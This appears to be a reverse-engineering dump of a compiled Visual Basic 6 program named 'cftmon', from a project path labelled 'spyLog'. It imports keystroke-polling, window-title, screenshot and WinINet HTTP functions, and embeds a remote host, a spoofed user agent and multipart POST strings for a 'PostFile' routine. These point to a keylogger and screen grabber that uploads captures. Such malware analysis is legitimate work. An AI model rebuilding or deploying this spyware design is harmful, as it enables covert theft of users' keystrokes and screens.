00401dfc
00401dfc struct ExternalTableEntry
00401dfc dwFlag uint32 0x00000007 ; Declare
00401e00 lpExternal uint32 0x402cc4
00401e04
00401e04 struct ExternalTableEntry
00401e04 dwFlag uint32 0x00000007 ; Declare
00401e08 lpExternal uint32 0x402c48
00401e0c
00401e0c struct ExternalTableEntry
00401e0c dwFlag uint32 0x00000007 ; Declare
00401e10 lpExternal uint32 0x402bf8
00401e14
00401e14 struct ExternalTableEntry
00401e14 dwFlag uint32 0x00000007 ; Declare
00401e18 lpExternal uint32 0x402bac
00401e1c
00401e1c struct ExternalTableEntry
00401e1c dwFlag uint32 0x00000007 ; Declare
00401e20 lpExternal uint32 0x402b60
00401e24
00401e24 struct ExternalTableEntry
00401e24 dwFlag uint32 0x00000007 ; Declare
00401e28 lpExternal uint32 0x402b14
00401e2c
00401e2c struct ExternalTableEntry
00401e2c dwFlag uint32 0x00000007 ; Declare
00401e30 lpExternal uint32 0x402ac8
00401e34
00401e34 struct ExternalTableEntry
00401e34 dwFlag uint32 0x00000007 ; Declare
00401e38 lpExternal uint32 0x402a7c
00401e3c
00401e3c struct ExternalTableEntry
00401e3c dwFlag uint32 0x00000007 ; Declare
00401e40 lpExternal uint32 0x402a24
00401e44
00401e44 struct ExternalTableEntry
00401e44 dwFlag uint32 0x00000007 ; Declare
00401e48 lpExternal uint32 0x4029d0
00401e4c
00401e4c struct ExternalTableEntry
00401e4c dwFlag uint32 0x00000007 ; Declare
00401e50 lpExternal uint32 0x402984
00401e54
00401e54 struct ExternalTableEntry
00401e54 dwFlag uint32 0x00000007 ; Declare
00401e58 lpExternal uint32 0x402938
00401e5c
00401e5c struct ExternalTableEntry
00401e5c dwFlag uint32 0x00000007 ; Declare
00401e60 lpExternal uint32 0x4028e0
00401e64
00401e64 struct ExternalTableEntry
00401e64 dwFlag uint32 0x00000007 ; Declare
00401e68 lpExternal uint32 0x402898
00401e6c
00401e6c struct ProjectInfo
00401e6c dwVersion uint32 0x000001f4
00401e70 lpObjectTable uint32 0x402524
00401e74 dwNull uint32 0x00000000
00401e78 lpCodeStart uint32 0x403b60
00401e7c lpCodeEnd uint32 0x4098d0
00401e80 dwDataSize uint32 0x00000af4
00401e84 lpThreadSpace uint32 0x40a008
00401e88 lpVbaSeh uint32 0x4014a6
00401e8c lpNativeCode uint32 0x40a000
00401e90 szPathInformation ascii "*\\AE:\\spyLog\\cftmon_v3.5_http_grab\\cftmon.vbp"
004020a0 lpExternalTable uint32 0x401dcc
004020a4 dwExternalCount int 20
004020a8
004020a8 struct ObjectInfo
004020a8 wRefCount int 1
004020aa wObjectIndex int 0
004020ac lpObjectTable uint32 0x402524
004020b0 lpIdeData uint32 0x00000000
004020b4 lpPrivateObject uint32 0x403a18
004020b8 dwReserved uint32 0xffffffff
004020bc dwNull uint32 0x00000000
004020c0 lpObject uint32 0x402578
004020c4 lpProjectData uint32 0x40a008
004020c8 wMethodCount int 19
004020ca wMethodCount2 int 0
004020cc lpMethods uint32 0x00402120
004020d0 wConstants int 0
004020d2 wMaxConstants int 0
004020d4 lpIdeData2 uint32 0x00000000
004020d8 lpIdeData3 uint32 0x00000000
004020dc lpConstants uint32 0x402120
004020e0
004020e0 struct OptionalObjectInfo
004020e0 dwObjectGuids int 1
004020e4 lpObjectGuid uint32 0x402734
004020e8 dwNull uint32 0x00000000
004020ec lpuuidObjectTypes uint32 0x40216c
004020f0 dwObjectTypeGuids int 1
004020f4 lpControls2 uint32 0x402174
004020f8 dwNull2 uint32 0x00000000
004020fc lpObjectGuids2 uint32 0x402170
00402100 dwControlCount int 7
00402104 lpControls uint32 0x402174
00402108 wEventCount int 11
0040210a wPCodeCount uint16 0x01b7
0040210c bWInitializeEvent uint16 0x0068
0040210e bWTerminateEvent uint16 0x006c
00402110 lpEvents uint32 0x40228c
00402114 lpBasicClassObject uint32 0x40a3cc
00402118 dwNull3 uint32 0x00000000
0040211c lpIdeData uint32 0x00b21bb4
00402120
00402120 28 ac b0 00 00 00 01 00 6a 01 00 00 00 00 00 00 (.......j.......
00402130 00 00 00 00 00 00 00 00 30 a0 b0 00 00 00 0d 00 ........0.......
00402140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00402150 00 00 00 00 00 00 00 00 00 00 00 00 3c ac b0 00 ............<...
00402160 00 00 01 00 8b 01 00 00 00 00 00 00 ............
0040216c
0040216c struct VBGUIDEntry
0040216c lpEntry uint32 0x402744
00402170
00402170 struct VBGUIDEntry
00402170 lpEntry uint32 0x402754
00402174
00402174 struct ControlInfo
00402174 fControlType uint16 0x0040
00402176 wEventCount int 24
00402178 bWEventsOffset uint16 0x0040
0040217a wUnknown uint16 0x0000
0040217c lpGuid uint32 0x402764
00402180 dwIndex uint32 0x00030005
00402184 dwNull uint32 0x00000000
00402188 dwNull2 uint32 0x00000000
0040218c lpEventInfo uint32 0x4022b8
00402190 lpIdeData uint32 0x00b20d9c
00402194 lpszName uint32 0x402774
00402198 dwIndexCopy uint32 0x00030005
0040219c
0040219c struct ControlInfo
0040219c fControlType uint16 0x0040
0040219e wEventCount int 1
004021a0 bWEventsOffset uint16 0x0044
004021a2 wUnknown uint16 0x0000
004021a4 lpGuid uint32 0x4027f4
004021a8 dwIndex uint32 0x00030002
004021ac dwNull uint32 0x00000000
004021b0 dwNull2 uint32 0x00000000
004021b4 lpEventInfo uint32 0x402330
004021b8 lpIdeData uint32 0x00b20dac
004021bc lpszName uint32 0x402804
004021c0 dwIndexCopy uint32 0x00030002
004021c4
004021c4 struct ControlInfo
004021c4 fControlType uint16 0x0040
004021c6 wEventCount int 18
004021c8 bWEventsOffset uint16 0x0048
004021ca wUnknown uint16 0x0000
004021cc lpGuid uint32 0x40280c
004021d0 dwIndex uint32 0x00030006
004021d4 dwNull uint32 0x00000000
004021d8 dwNull2 uint32 0x00000000
004021dc lpEventInfo uint32 0x40234c
004021e0 lpIdeData uint32 0x00b20dbc
004021e4 lpszName uint32 0x40281c
004021e8 dwIndexCopy uint32 0x00030006
004021ec
004021ec struct ControlInfo
004021ec fControlType uint16 0x0040
004021ee wEventCount int 1
004021f0 bWEventsOffset uint16 0x004c
004021f2 wUnknown uint16 0x0000
004021f4 lpGuid uint32 0x4027f4
004021f8 dwIndex uint32 0x00030003
004021fc dwNull uint32 0x00000000
00402200 dwNull2 uint32 0x00000000
00402204 lpEventInfo uint32 0x4023ac
00402208 lpIdeData uint32 0x00b20dac
0040220c lpszName uint32 0x402824
00402210 dwIndexCopy uint32 0x00030003
00402214
00402214 struct ControlInfo
00402214 fControlType uint16 0x0040
00402216 wEventCount int 31
00402218 bWEventsOffset uint16 0x0050
0040221a wUnknown uint16 0x0000
0040221c lpGuid uint32 0x40282c
00402220 dwIndex uint32 0xffffffff
00402224 dwNull uint32 0x00000000
00402228 dwNull2 uint32 0x00000000
0040222c lpEventInfo uint32 0x4023c8
00402230 lpIdeData uint32 0x00b20dcc
00402234 lpszName uint32 0x40283c
00402238 dwIndexCopy uint32 0xffffffff
0040223c
0040223c struct ControlInfo
0040223c fControlType uint16 0x0040
0040223e wEventCount int 1
00402240 bWEventsOffset uint16 0x0054
00402242 wUnknown uint16 0x0000
00402244 lpGuid uint32 0x4027f4
00402248 dwIndex uint32 0x00030004
0040224c dwNull uint32 0x00000000
00402250 dwNull2 uint32 0x00000000
00402254 lpEventInfo uint32 0x40245c
00402258 lpIdeData uint32 0x00b20dac
0040225c lpszName uint32 0x402844
00402260 dwIndexCopy uint32 0x00030004
00402264
00402264 struct ControlInfo
00402264 fControlType uint16 0x0040
00402266 wEventCount int 1
00402268 bWEventsOffset uint16 0x0058
0040226a wUnknown uint16 0x0000
0040226c lpGuid uint32 0x4027f4
00402270 dwIndex uint32 0x00030001
00402274 dwNull uint32 0x00000000
00402278 dwNull2 uint32 0x00000000
0040227c lpEventInfo uint32 0x402478
00402280 lpIdeData uint32 0x00b20dac
00402284 lpszName uint32 0x40284c
00402288 dwIndexCopy uint32 0x00030001
0040228c struct VBEventLinkEntry[11] ; 0x40228c-0x4022b8, 11 set, 0 null
0040228c #0 lpEntry = 0x004024a9 ; fn_4024a9
00402290 #1 lpEntry = 0x0040249c
00402294 #2 lpEntry = 0x004024b6 ; fn_4024b6
00402298 #3 lpEntry = 0x004024c3 ; fn_4024c3
0040229c #4 lpEntry = 0x004024d0
004022a0 #5 lpEntry = 0x004024dd
004022a4 #6 lpEntry = 0x004024ea ; fn_4024ea
004022a8 #7 lpEntry = 0x004024f7
004022ac #8 lpEntry = 0x00402504
004022b0 #9 lpEntry = 0x00402511
004022b4 #10 lpEntry = 0x0040251e ; fn_40251e
004022b8
004022b8 struct EventInfo
004022b8 dwNull uint32 0x00000000
004022bc lpControlInfo uint32 0x402174
004022c0 lpObjectInfo uint32 0x4020a8
004022c4 lpQueryInterface uint32 0x4016aa
004022c8 lpAddRef uint32 0x4016b0
004022cc lpRelease uint32 0x4016b6
004022d0 struct VBEventHandlerEntry[24] ; 0x4022d0-0x402330, 1 set, 23 null
004022d0 #0 lpEntry = 0x004024fc ; frmMain.Text1_Change
00402330
00402330 struct EventInfo
00402330 dwNull uint32 0x00000000
00402334 lpControlInfo uint32 0x40219c
00402338 lpObjectInfo uint32 0x4020a8
0040233c lpQueryInterface uint32 0x4016aa
00402340 lpAddRef uint32 0x4016b0
00402344 lpRelease uint32 0x4016b6
00402348
00402348 struct VBEventHandlerEntry
00402348 lpEntry uint32 0x4024ef
0040234c
0040234c struct EventInfo
0040234c dwNull uint32 0x00000000
00402350 lpControlInfo uint32 0x4021c4
00402354 lpObjectInfo uint32 0x4020a8
00402358 lpQueryInterface uint32 0x4016aa
0040235c lpAddRef uint32 0x4016b0
00402360 lpRelease uint32 0x4016b6
00402364 struct VBEventHandlerEntry[18] ; 0x402364-0x4023ac, 0 set, 18 null
004023ac
004023ac struct EventInfo
004023ac dwNull uint32 0x00000000
004023b0 lpControlInfo uint32 0x4021ec
004023b4 lpObjectInfo uint32 0x4020a8
004023b8 lpQueryInterface uint32 0x4016aa
004023bc lpAddRef uint32 0x4016b0
004023c0 lpRelease uint32 0x4016b6
004023c4
004023c4 struct VBEventHandlerEntry
004023c4 lpEntry uint32 0x402509
004023c8
004023c8 struct EventInfo
004023c8 dwNull uint32 0x00000000
004023cc lpControlInfo uint32 0x402214
004023d0 lpObjectInfo uint32 0x4020a8
004023d4 lpQueryInterface uint32 0x4016aa
004023d8 lpAddRef uint32 0x4016b0
004023dc lpRelease uint32 0x4016b6
004023e0 struct VBEventHandlerEntry[31] ; 0x4023e0-0x40245c, 1 set, 30 null
004023f8 #6 lpEntry = 0x00402494 ; frmMain.Form_Load
0040245c
0040245c struct EventInfo
0040245c dwNull uint32 0x00000000
00402460 lpControlInfo uint32 0x40223c
00402464 lpObjectInfo uint32 0x4020a8
00402468 lpQueryInterface uint32 0x4016aa
0040246c lpAddRef uint32 0x4016b0
00402470 lpRelease uint32 0x4016b6
00402474
00402474 struct VBEventHandlerEntry
00402474 lpEntry uint32 0x4024d5
00402478
00402478 struct EventInfo
00402478 dwNull uint32 0x00000000
0040247c lpControlInfo uint32 0x402264
00402480 lpObjectInfo uint32 0x4020a8
00402484 lpQueryInterface uint32 0x4016aa
00402488 lpAddRef uint32 0x4016b0
0040248c lpRelease uint32 0x4016b6
00402490
00402490 struct VBEventHandlerEntry
00402490 lpEntry uint32 0x4024c8

004024a1
004024a1 81 6c 24 04 ff ff 00 00 .l$.....

004024ae
004024ae 81 6c .l
004024b0 24 04 ff ff 00 00 $.....

004024bb
004024bb 81 6c 24 04 ff .l$..
004024c0 ff 00 00 ...

004024e2
004024e2 81 6c 24 04 ff ff 00 00 .l$.....

00402516
00402516 81 6c 24 04 ff ff 00 00 .l$.....

00402523
00402523 00 .
00402524
00402524 struct ObjectTable
00402524 lpHeapLink uint32 0x00000000
00402528 lpExecProj uint32 0x40a02c
0040252c lpProjectInfo2 uint32 0x403ad0
00402530 dwReserved uint32 0xffffffff
00402534 dwNull uint32 0x00000000
00402538 lpProjectObject uint32 0x40a01c
0040253c uuidObject guid 05ca111f-aa29-4647-bc12-dcbb50dd21fe
0040254c fCompileState uint16 0x000a
0040254e wTotalObjects int 1
00402550 wCompiledObjects int 1
00402552 wObjectsInUse int 1
00402554 lpObjectArray uint32 0x402578
00402558 fIdeFlag uint32 0x00000000
0040255c lpIdeData uint32 0x00000000
00402560 lpIdeData2 uint32 0x00000000
00402564 lpszProjectName uint32 0x402628
00402568 dwLcid uint32 0x00000409
0040256c dwLcid2 uint32 0x00000410
00402570 lpIdeData3 uint32 0x00000000
00402574 dwIdentifier int 2
00402578
00402578 struct PublicObjectDescriptor
00402578 lpObjectInfo uint32 0x4020a8
0040257c dwReserved uint32 0xffffffff
00402580 lpPublicBytes uint32 0x402cac
00402584 lpStaticBytes uint32 0x00000000
00402588 lpModulePublic uint32 0x00000000
0040258c lpModuleStatic uint32 0x00000000
00402590 lpszObjectName uint32 0x402620
00402594 dwMethodCount int 30
00402598 lpMethodNames uint32 0x4025a8
0040259c bStaticVars uint32 0x0000ffff
004025a0 fObjectType uint32 0x00018083 ; HasOptionalInfo|HasPrivateObject|Form
004025a4 dwNull uint32 0x00000000
004025a8 struct VBMethodNameEntry[30] ; 0x4025a8-0x402620, 1 set, 29 null
004025f8 #20 lpEntry = 0x00402ca0 ; "PostFile"
00402620
00402620 string "frmMain",0
00402628
00402628 string "cftmon",0
0040262f
0040262f 00 .
00402630 1c 00 00 00 37 00 64 00 37 00 33 00 38 00 61 00 ....7.d.7.3.8.a.
00402640 31 00 31 00 32 00 65 00 30 00 38 00 65 00 61 00 1.1.2.e.0.8.e.a.
00402650 00 00 00 00 2e 00 00 00 66 00 75 00 6a 00 69 00 ........f.u.j.i.
00402660 6e 00 61 00 6d 00 61 00 2e 00 61 00 6c 00 74 00 n.a.m.a...a.l.t.
00402670 65 00 72 00 76 00 69 00 73 00 74 00 61 00 2e 00 e.r.v.i.s.t.a...
00402680 6f 00 72 00 67 00 00 00 96 00 00 00 4d 00 6f 00 o.r.g.......M.o.
00402690 7a 00 69 00 6c 00 6c 00 61 00 2f 00 34 00 2e 00 z.i.l.l.a./.4...
004026a0 30 00 20 00 28 00 63 00 6f 00 6d 00 70 00 61 00 0. .(.c.o.m.p.a.
004026b0 74 00 69 00 62 00 6c 00 65 00 3b 00 20 00 4d 00 t.i.b.l.e.;. .M.
004026c0 53 00 49 00 45 00 20 00 37 00 2e 00 30 00 3b 00 S.I.E. .7...0.;.
004026d0 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 .W.i.n.d.o.w.s.
004026e0 20 00 4e 00 54 00 20 00 35 00 2e 00 31 00 3b 00 .N.T. .5...1.;.
004026f0 20 00 53 00 56 00 31 00 3b 00 20 00 2e 00 4e 00 .S.V.1.;. ...N.
00402700 45 00 54 00 20 00 43 00 4c 00 52 00 20 00 32 00 E.T. .C.L.R. .2.
00402710 2e 00 30 00 2e 00 35 00 30 00 37 00 32 00 37 00 ..0...5.0.7.2.7.
00402720 29 00 00 00 9e 06 7d c6 c7 6d 2d 46 bb 2e 13 d9 ).....}..m-F....
00402730 ed 29 ea 16 .)..
00402734
00402734 struct GUID
00402734 guid guid 6060b30a-f4c1-4037-bb8b-b24b102578fc
00402744
00402744 struct GUID
00402744 guid guid 19c7124f-b459-46d9-ad48-f0583da63242
00402754
00402754 struct GUID
00402754 guid guid 6a487e46-3b5e-49e0-8b0c-7db9bf1a70f6
00402764
00402764 struct GUID
00402764 guid guid 33ad4ee2-6699-11cf-b70c-00aa0060d393
00402774
00402774 string "Text1",0
0040277a
0040277a 00 00 2e 3d fb fc ...=..
00402780 fa a0 68 10 a7 38 08 00 2b 33 71 b5 43 3a 5c 50 ..h..8..+3q.C:\P
00402790 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 rogram Files (x8
004027a0 36 29 5c 4d 69 63 72 6f 73 6f 66 74 20 56 69 73 6)\Microsoft Vis
004027b0 75 61 6c 20 53 74 75 64 69 6f 5c 56 42 39 38 5c ual Studio\VB98\
004027c0 56 42 36 2e 4f 4c 42 00 56 42 00 00 7c 27 40 00 VB6.OLB.VB..|'@.
004027d0 00 00 00 00 06 00 00 00 09 00 00 00 8c 27 40 00 .............'@.
004027e0 c8 27 40 00 d0 a2 40 00 00 00 00 00 00 00 00 00 .'@...@.........
004027f0 e8 cc ad 00 ....
004027f4
004027f4 struct GUID
004027f4 guid guid 33ad4f2a-6699-11cf-b70c-00aa0060d393
00402804
00402804 string "t_key",0
0040280a
0040280a 00 00 ..
0040280c
0040280c struct GUID
0040280c guid guid 33ad4eda-6699-11cf-b70c-00aa0060d393
0040281c
0040281c string "lblCONT",0
00402824
00402824 string "t_save",0
0040282b
0040282b 00 .
0040282c
0040282c struct GUID
0040282c guid guid 33ad4f3a-6699-11cf-b70c-00aa0060d393
0040283c
0040283c string "Form",0
00402841
00402841 00 00 00 ...
00402844
00402844 string "t_grab",0
0040284b
0040284b 00 .
0040284c
0040284c string "t_cmd",0
00402852
00402852 00 00 0c 00 10 00 00 00 00 00 10 00 04 04 ..............
00402860 0c 00 1c 00 00 00 00 00 1c 00 04 04 0c 00 20 00 .............. .
00402870 00 00 00 00 20 00 04 04 .... ...
00402878
00402878 struct VBDeclareNameLength
00402878 cbName int 8
0040287c
0040287c string "GDIPlus",0
00402884
00402884 struct VBDeclareNameLength
00402884 cbName int 15
00402888
00402888 string "GdiplusStartup",0
00402897
00402897 00 .
00402898
00402898 struct DeclareInfo
00402898 lpszLibraryName uint32 0x40287c
0040289c lpszFunctionName uint32 0x402888
004028a0 dwFlags uint32 0x00040000
004028a4 lpCache uint32 0x40a2d4
004028a8 dwReserved uint32 0x00000000
004028ac
004028ac 00 00 00 00 ....

004028c9
004028c9 00 00 00 ...
004028cc
004028cc struct VBDeclareNameLength
004028cc cbName int 16
004028d0
004028d0 string "GdiplusShutdown",0
004028e0
004028e0 struct DeclareInfo
004028e0 lpszLibraryName uint32 0x40287c
004028e4 lpszFunctionName uint32 0x4028d0
004028e8 dwFlags uint32 0x00040000
004028ec lpCache uint32 0x40a2e0
004028f0 dwReserved uint32 0x00000000
004028f4
004028f4 00 00 00 00 ....

00402911
00402911 00 00 00 ...
00402914
00402914 struct VBDeclareNameLength
00402914 cbName int 28
00402918
00402918 string "GdipCreateBitmapFromHBITMAP",0
00402934
00402934 00 00 00 00 ....
00402938
00402938 struct DeclareInfo
00402938 lpszLibraryName uint32 0x40287c
0040293c lpszFunctionName uint32 0x402918
00402940 dwFlags uint32 0x00040000
00402944 lpCache uint32 0x40a2ec
00402948 dwReserved uint32 0x00000000
0040294c
0040294c 00 00 00 00 ....

00402969
00402969 00 00 00 ...
0040296c
0040296c struct VBDeclareNameLength
0040296c cbName int 17
00402970
00402970 string "GdipDisposeImage",0
00402981
00402981 00 00 00 ...
00402984
00402984 struct DeclareInfo
00402984 lpszLibraryName uint32 0x40287c
00402988 lpszFunctionName uint32 0x402970
0040298c dwFlags uint32 0x00040000
00402990 lpCache uint32 0x40a2f8
00402994 dwReserved uint32 0x00000000
00402998
00402998 00 00 00 00 ....

004029b5
004029b5 00 00 00 ...
004029b8
004029b8 struct VBDeclareNameLength
004029b8 cbName int 20
004029bc
004029bc string "GdipSaveImageToFile",0
004029d0
004029d0 struct DeclareInfo
004029d0 lpszLibraryName uint32 0x40287c
004029d4 lpszFunctionName uint32 0x4029bc
004029d8 dwFlags uint32 0x00040000
004029dc lpCache uint32 0x40a304
004029e0 dwReserved uint32 0x00000000
004029e4
004029e4 00 00 00 00 ....

00402a01
00402a01 00 00 00 ...
00402a04
00402a04 struct VBDeclareNameLength
00402a04 cbName int 6
00402a08
00402a08 string "ole32",0
00402a0e
00402a0e 00 00 ..
00402a10
00402a10 struct VBDeclareNameLength
00402a10 cbName int 16
00402a14
00402a14 string "CLSIDFromString",0
00402a24
00402a24 struct DeclareInfo
00402a24 lpszLibraryName uint32 0x402a08
00402a28 lpszFunctionName uint32 0x402a14
00402a2c dwFlags uint32 0x00040000
00402a30 lpCache uint32 0x40a310
00402a34 dwReserved uint32 0x00000000
00402a38
00402a38 00 00 00 00 ....

00402a55
00402a55 00 00 00 ...
00402a58
00402a58 struct VBDeclareNameLength
00402a58 cbName int 12
00402a5c
00402a5c string "wininet.dll",0
00402a68
00402a68 struct VBDeclareNameLength
00402a68 cbName int 14
00402a6c
00402a6c string "InternetOpenA",0
00402a7a
00402a7a 00 00 ..
00402a7c
00402a7c struct DeclareInfo
00402a7c lpszLibraryName uint32 0x402a5c
00402a80 lpszFunctionName uint32 0x402a6c
00402a84 dwFlags uint32 0x00040000
00402a88 lpCache uint32 0x40a31c
00402a8c dwReserved uint32 0x00000000
00402a90
00402a90 00 00 00 00 ....

00402aad
00402aad 00 00 00 ...
00402ab0
00402ab0 struct VBDeclareNameLength
00402ab0 cbName int 17
00402ab4
00402ab4 string "InternetConnectA",0
00402ac5
00402ac5 00 00 00 ...
00402ac8
00402ac8 struct DeclareInfo
00402ac8 lpszLibraryName uint32 0x402a5c
00402acc lpszFunctionName uint32 0x402ab4
00402ad0 dwFlags uint32 0x00040000
00402ad4 lpCache uint32 0x40a328
00402ad8 dwReserved uint32 0x00000000
00402adc
00402adc 00 00 00 00 ....

00402af9
00402af9 00 00 00 ...
00402afc
00402afc struct VBDeclareNameLength
00402afc cbName int 17
00402b00
00402b00 string "InternetReadFile",0
00402b11
00402b11 00 00 00 ...
00402b14
00402b14 struct DeclareInfo
00402b14 lpszLibraryName uint32 0x402a5c
00402b18 lpszFunctionName uint32 0x402b00
00402b1c dwFlags uint32 0x00040000
00402b20 lpCache uint32 0x40a334
00402b24 dwReserved uint32 0x00000000
00402b28
00402b28 00 00 00 00 ....

00402b45
00402b45 00 00 00 ...
00402b48
00402b48 struct VBDeclareNameLength
00402b48 cbName int 17
00402b4c
00402b4c string "HttpOpenRequestA",0
00402b5d
00402b5d 00 00 00 ...
00402b60
00402b60 struct DeclareInfo
00402b60 lpszLibraryName uint32 0x402a5c
00402b64 lpszFunctionName uint32 0x402b4c
00402b68 dwFlags uint32 0x00040000
00402b6c lpCache uint32 0x40a340
00402b70 dwReserved uint32 0x00000000
00402b74
00402b74 00 00 00 00 ....

00402b91
00402b91 00 00 00 ...
00402b94
00402b94 struct VBDeclareNameLength
00402b94 cbName int 17
00402b98
00402b98 string "HttpSendRequestA",0
00402ba9
00402ba9 00 00 00 ...
00402bac
00402bac struct DeclareInfo
00402bac lpszLibraryName uint32 0x402a5c
00402bb0 lpszFunctionName uint32 0x402b98
00402bb4 dwFlags uint32 0x00040000
00402bb8 lpCache uint32 0x40a34c
00402bbc dwReserved uint32 0x00000000
00402bc0
00402bc0 00 00 00 00 ....

00402bdd
00402bdd 00 00 00 ...
00402be0
00402be0 struct VBDeclareNameLength
00402be0 cbName int 20
00402be4
00402be4 string "InternetCloseHandle",0
00402bf8
00402bf8 struct DeclareInfo
00402bf8 lpszLibraryName uint32 0x402a5c
00402bfc lpszFunctionName uint32 0x402be4
00402c00 dwFlags uint32 0x00040000
00402c04 lpCache uint32 0x40a358
00402c08 dwReserved uint32 0x00000000
00402c0c
00402c0c 00 00 00 00 ....

00402c29
00402c29 00 00 00 ...
00402c2c
00402c2c struct VBDeclareNameLength
00402c2c cbName int 23
00402c30
00402c30 string "HttpAddRequestHeadersA",0
00402c47
00402c47 00 .
00402c48
00402c48 struct DeclareInfo
00402c48 lpszLibraryName uint32 0x402a5c
00402c4c lpszFunctionName uint32 0x402c30
00402c50 dwFlags uint32 0x00040000
00402c54 lpCache uint32 0x40a364
00402c58 dwReserved uint32 0x00000000
00402c5c
00402c5c 00 00 00 00 ....

00402c79
00402c79 00 00 00 ...
00402c7c
00402c7c struct VBDeclareNameLength
00402c7c cbName int 8
00402c80
00402c80 string "wininet",0
00402c88
00402c88 struct VBDeclareNameLength
00402c88 cbName int 17
00402c8c
00402c8c string "InternetOpenUrlA",0
00402c9d
00402c9d 00 00 00 ...
00402ca0
00402ca0 string "PostFile",0
00402ca9
00402ca9 00 00 00 14 00 64 00 .....d.
00402cb0 00 00 02 00 00 00 00 00 38 00 01 00 3c 00 01 00 ........8...<...
00402cc0 00 00 00 00 ....
00402cc4
00402cc4 struct DeclareInfo
00402cc4 lpszLibraryName uint32 0x402c80
00402cc8 lpszFunctionName uint32 0x402c8c
00402ccc dwFlags uint32 0x00040000
00402cd0 lpCache uint32 0x40a370
00402cd4 dwReserved uint32 0x00000000
00402cd8
00402cd8 00 00 00 00 ....

00402cf5
00402cf5 00 00 00 ...
00402cf8
00402cf8 struct VBDeclareNameLength
00402cf8 cbName int 7
00402cfc
00402cfc string "user32",0
00402d03
00402d03 00 .
00402d04
00402d04 struct VBDeclareNameLength
00402d04 cbName int 17
00402d08
00402d08 string "GetAsyncKeyState",0
00402d19
00402d19 00 00 00 ...
00402d1c
00402d1c struct DeclareInfo
00402d1c lpszLibraryName uint32 0x402cfc
00402d20 lpszFunctionName uint32 0x402d08
00402d24 dwFlags uint32 0x00040000
00402d28 lpCache uint32 0x40a37c
00402d2c dwReserved uint32 0x00000000
00402d30
00402d30 00 00 00 00 ....

00402d4d
00402d4d 00 00 00 ...
00402d50
00402d50 struct VBDeclareNameLength
00402d50 cbName int 20
00402d54
00402d54 string "GetForegroundWindow",0
00402d68
00402d68 struct DeclareInfo
00402d68 lpszLibraryName uint32 0x402cfc
00402d6c lpszFunctionName uint32 0x402d54
00402d70 dwFlags uint32 0x00040000
00402d74 lpCache uint32 0x40a388
00402d78 dwReserved uint32 0x00000000
00402d7c
00402d7c 00 00 00 00 ....

00402d99
00402d99 00 00 00 ...
00402d9c
00402d9c struct VBDeclareNameLength
00402d9c cbName int 15
00402da0
00402da0 string "GetWindowTextA",0
00402daf
00402daf 00 .
00402db0
00402db0 struct DeclareInfo
00402db0 lpszLibraryName uint32 0x402cfc
00402db4 lpszFunctionName uint32 0x402da0
00402db8 dwFlags uint32 0x00040000
00402dbc lpCache uint32 0x40a394
00402dc0 dwReserved uint32 0x00000000
00402dc4
00402dc4 00 00 00 00 ....

00402de1
00402de1 00 00 00 ...
00402de4
00402de4 struct VBDeclareNameLength
00402de4 cbName int 13
00402de8
00402de8 string "kernel32.dll",0
00402df5
00402df5 00 00 00 ...
00402df8
00402df8 struct VBDeclareNameLength
00402df8 cbName int 6
00402dfc
00402dfc string "Sleep",0
00402e02
00402e02 00 00 ..
00402e04
00402e04 struct DeclareInfo
00402e04 lpszLibraryName uint32 0x402de8
00402e08 lpszFunctionName uint32 0x402dfc
00402e0c dwFlags uint32 0x00040000
00402e10 lpCache uint32 0x40a3a0
00402e14 dwReserved uint32 0x00000000
00402e18
00402e18 00 00 00 00 ....

00402e35
00402e35 00 00 00 ...
00402e38
00402e38 struct VBDeclareNameLength
00402e38 cbName int 11
00402e3c
00402e3c string "user32.dll",0
00402e47
00402e47 00 .
00402e48
00402e48 struct VBDeclareNameLength
00402e48 cbName int 12
00402e4c
00402e4c string "keybd_event",0
00402e58
00402e58 struct DeclareInfo
00402e58 lpszLibraryName uint32 0x402e3c
00402e5c lpszFunctionName uint32 0x402e4c
00402e60 dwFlags uint32 0x00040000
00402e64 lpCache uint32 0x40a3ac
00402e68 dwReserved uint32 0x00000000
00402e6c
00402e6c 00 00 00 00 ....

00402e89
00402e89 00 00 00 ...
00402e8c
00402e8c struct GUID
00402e8c guid guid fcfb3d23-a0fa-1068-a738-08002b3371b5
00402e9c
00402e9c 22 3d fb fc "=..
00402ea0 fa a0 68 10 a7 38 08 00 2b 33 71 b5 02 00 00 00 ..h..8..+3q.....
00402eb0 8c 2e 40 00 9c 2e 40 00 00 00 00 00 79 4f ad 33 ..@...@.....yO.3
00402ec0 99 66 cf 11 b7 0c 00 aa 00 60 d3 93 18 00 00 00 .f.......`......
00402ed0 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 c.o.m.p.u.t.e.r.
00402ee0 6e 00 61 00 6d 00 65 00 00 00 00 00 08 00 00 00 n.a.m.e.........
00402ef0 74 00 65 00 6d 00 70 00 00 00 00 00 10 00 00 00 t.e.m.p.........
00402f00 48 00 54 00 54 00 50 00 2f 00 31 00 2e 00 30 00 H.T.T.P./.1...0.
00402f10 00 00 00 00 08 00 00 00 50 00 4f 00 53 00 54 00 ........P.O.S.T.
00402f20 00 00 00 00 58 00 00 00 43 00 6f 00 6e 00 74 00 ....X...C.o.n.t.
00402f30 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 e.n.t.-.T.y.p.e.
00402f40 3a 00 20 00 6d 00 75 00 6c 00 74 00 69 00 70 00 :. .m.u.l.t.i.p.
00402f50 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 a.r.t./.f.o.r.m.
00402f60 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 -.d.a.t.a.;. .b.
00402f70 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 o.u.n.d.a.r.y.=.
00402f80 00 00 00 00 04 00 00 00 0d 00 0a 00 00 00 00 00 ................
00402f90 04 00 00 00 2d 00 2d 00 00 00 00 00 64 00 00 00 ....-.-.....d...
00402fa0 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 C.o.n.t.e.n.t.-.
00402fb0 44 00 69 00 73 00 70 00 6f 00 73 00 69 00 74 00 D.i.s.p.o.s.i.t.
00402fc0 69 00 6f 00 6e 00 3a 00 20 00 66 00 6f 00 72 00 i.o.n.:. .f.o.r.
00402fd0 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 m.-.d.a.t.a.;. .
00402fe0 6e 00 61 00 6d 00 65 00 3d 00 22 00 64 00 65 00 n.a.m.e.=.".d.e.
